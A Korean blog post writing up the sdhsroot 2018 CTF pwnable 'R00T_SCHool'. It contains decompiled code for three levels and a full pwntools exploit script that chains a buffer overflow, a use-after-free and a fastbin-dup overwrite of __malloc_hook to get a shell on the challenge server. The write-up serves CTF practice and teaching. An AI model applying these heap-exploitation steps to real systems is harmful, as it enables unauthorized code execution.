제리의 블로그

sdhsroot 2018 PWN R00T_SCHool 본문

CTF/pwnable

sdhsroot 2018 PWN R00T_SCHool

j3rrry 2018. 12. 26. 19:46
sdhsroot 2018 PWN R00T_SCHool

목차


요약

3 단계로 이루어져 있는 pwnable 바이너리이고 libc.so.6 이 제공되었다.

1단계 - BOF

(RET를 덮는게 아니라 지역 변수를 덮음)

2단계 - UAF

(malloc size 0x40 으로 고정)

3단계 - fastbin dup

(malloc size 지정할 수 있음)


기초 분석

$ sha256sum ./ROOTschool.zip ./R00T_SCHool ./libc.so.6
ab84d6961237d5c29938d42b0877f92ad6c0228cdd42b8fef0104ebfa9de09c1  ./ROOTschool.zip
7d72200047bad1e7fd51325dfab154e09d2296822a6fcdb4ba0ae8fcbc3d9ba5  ./R00T_SCHool
05b841eae6f475817ebb3b99562cd6535cc61b099350a25019cd5d3b3136881d  ./libc.so.6


$ checksec ./R00T_SCHool
[*] './sdhsroot2018/R00T_SCHool'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)


level1 (BOF)

void level1(int *check1)
{
  //__int64 v5; // [sp+38h] [bp-8h]@1
  char s1[] = "Helloworld"; // [sp+20h] [bp-20h]@1
  char s2[0xf] = {0}; // [sp+10h] [bp-30h]@1
  //__int64 v1; // rax@4

  //v5 = *MK_FP(__FS__, 40LL);
  puts("     *****LEVEL 1*****");
  puts("Solve! This!");
  printf("Input: ");
  scanf("%s", s2);
  if ( !strncmp(s1, "Helloworld", 10uLL) )
  {
    puts("Fail.. try agian!");
    puts(s1);
  }
  else
  {
    puts("Success!!");
    *check1 = 1;
  }
  //v1 = *MK_FP(__FS__, 40LL) ^ v5;
}

level1은 BOF를 통해 s1을 덮어씌우면 clear


level2 (UAF)

void level2()
{
  //__int64 canary; // [sp+48h] [bp-8h]@1
  int one_chance; // [sp+38h] [bp-18h]@1
  struct struc_2_ints count = {0}; // [sp+30h] [bp-20h]@1
  long long int **ptr; // [sp+28h] [bp-28h]@1
  char *buf = 0; // [sp+20h] [bp-30h]@1
  char menu; // [sp+1Fh] [bp-31h]@1

  //canary = *MK_FP(__FS__, 40LL);
  puts("     *****LEVEL 2*****");
  puts("Solve! This!");
  menu = 0;
  one_chance = 0;
  ptr = (long long int **)calloc(1uLL, 0x40uLL);
  ptr[2] = (long long int *)__exit;
  while ( 1 )
  {
    while ( 1 )
    {
      puts("Select!!");
      puts("1. malloc");
      puts("2. free");
      puts("3. execute");
      printf("Input: ");
      scanf("%d", &menu);

      switch ( menu ){
      case 1:
          if ( count.n1 )
            exit(-1);
          buf = (char *)malloc(0x40uLL);
          printf("Input: ");
          buf[read(0, buf, 0x40uLL) - 1] = 0;
          count.n1++;
          break;
      case 2:
          if ( count.n2 )
            exit(-1);
          free(ptr);
          count.n2++;
          break;
      case 3:
          if ( one_chance )
            exit(-1);
          one_chance = 1;
          if ( ptr[2] != (long long int *)main
            && ptr[2] != (long long int *)level1
            && ptr[2] != (long long int *)level2
            && ptr[2] != (long long int *)level3
            && ptr[2] != (long long int *)__exit
            && ptr[2] != (long long int *)banner
            && ptr[2] != (long long int *)setvbuf_init )
          {
            exit(-1);
          }
          ((void (*)())ptr[2])();
          break;
      }
    }
  }
}

leve2 는 UAF 취약점을 이용한다.

"3. execute" 에서 (ptr[2])() 를 호출하고 있으므로

그 자리에 level3 로 덮어씌우면 된다.


level3 (fastbin dup)

void level3()
{
  //__int64 v5; // [sp+38h] [bp-18h]@1
  char *s[3] = {0}; // [sp+20h] [bp-30h]@1
  int gazuaaa = 0; // [sp+1Ch] [bp-34h]@1
  struct struc_2_ints num = {0}; // [sp+14h] [bp-3Ch]@1
  int menu = 0; // [sp+10h] [bp-40h]@1
  //int v0; // ebx@19

  //v5 = *MK_FP(__FS__, 40LL);
  puts("     *****LEVEL 3*****");
  puts("Wow! you reach LEVEL 3 Cheer up!");
  while ( 1 )
  {
    printf("Input: ");
    scanf("%d", &menu);

    switch ( menu )
    {
    case 1:     // _show
        printf("idx: ");
        scanf("%d", &num.n2);
        if ( num.n2 < 0 || num.n2 > 2 )
          exit(-1);
        if ( s[num.n2] )
          puts(s[num.n2]);
        break;
    case 2:     // _alloc
        printf("idx: ");
        scanf("%d", &num.n2);
        if ( num.n2 < 0 || num.n2 > 2 )
          break;
        printf("size: ");
        scanf("%d", &num.n1);
        if ( num.n1 > 1024 )
          exit(-1);
        s[num.n2] = (char *)malloc(num.n1);
        printf("data: ");
        read(0, s[num.n2], num.n1);
        break;
    case 3:     // _free
        printf("idx: ");
        scanf("%d", &num.n2);
        if ( num.n2 < 0 || num.n2 > 2 )
          exit(-1);
        if ( s[num.n2] )
        {
          printf("gazuaaa?? ");
          scanf("%d", &gazuaaa);
          free(s[num.n2]);
          if ( gazuaaa )
            s[num.n2] = 0LL;
        }
        else
        {
          puts("nop");
        }
        break;
    case 4:
        if ( s[0] && s[1] && s[2] )
          free3(s[0], s[1], s[2]);
        break;
    }
  }
  exit(-1);
}

level3 는 malloc 을 자유롭게 size 까지 지정할 수 있다.

libc 의 오프셋을 leak 하여 알아내고

fastbin dup attack 으로 __malloc_hook 을 oneshot 주소로 덮으면 된다.


익스 코드

from pwn import *

def _input(data):
    r.recvuntil('Input: ')
    r.sendline(data)

def _idx(idx):
        r.recvuntil('idx: ')
        r.sendline(str(idx))

def _size(size):
        r.recvuntil('size: ')
        r.sendline(str(size))

def _data(data):
        r.recvuntil('data: ')
        r.send(data)

def _gazuaaa(n):
        r.recvuntil('gazuaaa?? ')
        r.sendline(str(n))

def _alloc(idx, size, data=''):
        _input(str(2))
        _idx(idx)
        _size(size)
        _data(data) if data else ''

def _free(idx, n=0):
        _input(str(3))
        _idx(idx)
        _gazuaaa(n)

def _show(idx):
        _input(str(1))
        _idx(idx)
        return r.recv(6)

r = remote('222.110.147.52', 1009)
e = ELF('./R00T_SCHool')
e.sym.level3 = 0x400AB2
libc = ELF('./libc.so.6')

# LEVEL 1 (BOF)
_input('A' * 0x10)

# LEVEL 2 (UAF)
_input(str(2))                         # free
_input(str(1))                         # alloc
_input('B' * 0x10 + p64(e.sym.level3)) # modify
_input(str(3))                         # use

# LEVEL3 (fastbin_dup)
_alloc(0, 0x80, 'C')
_alloc(1, 0x80, 'D')
_free(0)
leak = u64(_show(0).ljust(8, '\0'))
libc.address = leak - 0x3c4b78
log.success(hex(libc.address))
oneshot = libc.address + 0x4526a

_alloc(0, 0x60, 'E')
_alloc(1, 0x60, 'F')

_free(0)
_free(1)
_free(0)

_alloc(0, 0x60, p64(libc.sym.__malloc_hook - 0x23))
_alloc(0, 0x60, 'G')
_alloc(0, 0x60, 'H')
_alloc(0, 0x60, 'I' * 0x13 + p64(oneshot))
_alloc(0, 0)

r.interactive()


'CTF > pwnable' 카테고리의 다른 글

RTL - Warmup - hayyim CTF 2022 Writeup  (0) 2022.02.14
TUCTF 2018 PWN Lisa  (0) 2018.11.27
TUCTF 2018 PWN Timber  (0) 2018.11.27
TUCTF 2018 PWN shella-hard  (0) 2018.11.27
TUCTF 2018 PWN Canary  (0) 2018.11.26
Comments